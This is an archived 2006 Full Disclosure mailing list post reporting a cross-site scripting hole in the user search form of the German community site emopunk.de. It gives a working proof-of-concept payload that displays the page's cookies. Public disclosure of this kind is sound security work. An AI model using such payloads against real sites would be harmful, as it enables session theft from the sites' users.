Full Disclosure mailing list archives

XSS Vector at www.emopunk.de

From: batchwork () arcor de
Date: Fri, 26 May 2006 04:58:18 +0200 (CEST)

Emopunk.de is a large german community for emo punks  and hardcore kids.

If you enter the following code instead of a username in the user search form,
you've successfully executed a custom script on the page:

-
"><script type=text/javascript>alert(document.cookie);</script>
-

Greetings,
Bacthwork

--
freemail adverts:

Viel oder wenig? Schnell oder langsam? Unbegrenzt surfen + telefonieren
ohne Zeit- und Volumenbegrenzung? DAS TOP ANGEBOT JETZT bei Arcor: günstig
und schnell mit DSL - das All-Inclusive-Paket für clevere Doppel-Sparer,
nur  44,85   inkl. DSL- und ISDN-Grundgebühr!
http://www.arcor.de/rd/emf-dsl-2

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Current thread:

XSS Vector at www.emopunk.de batchwork (May 25)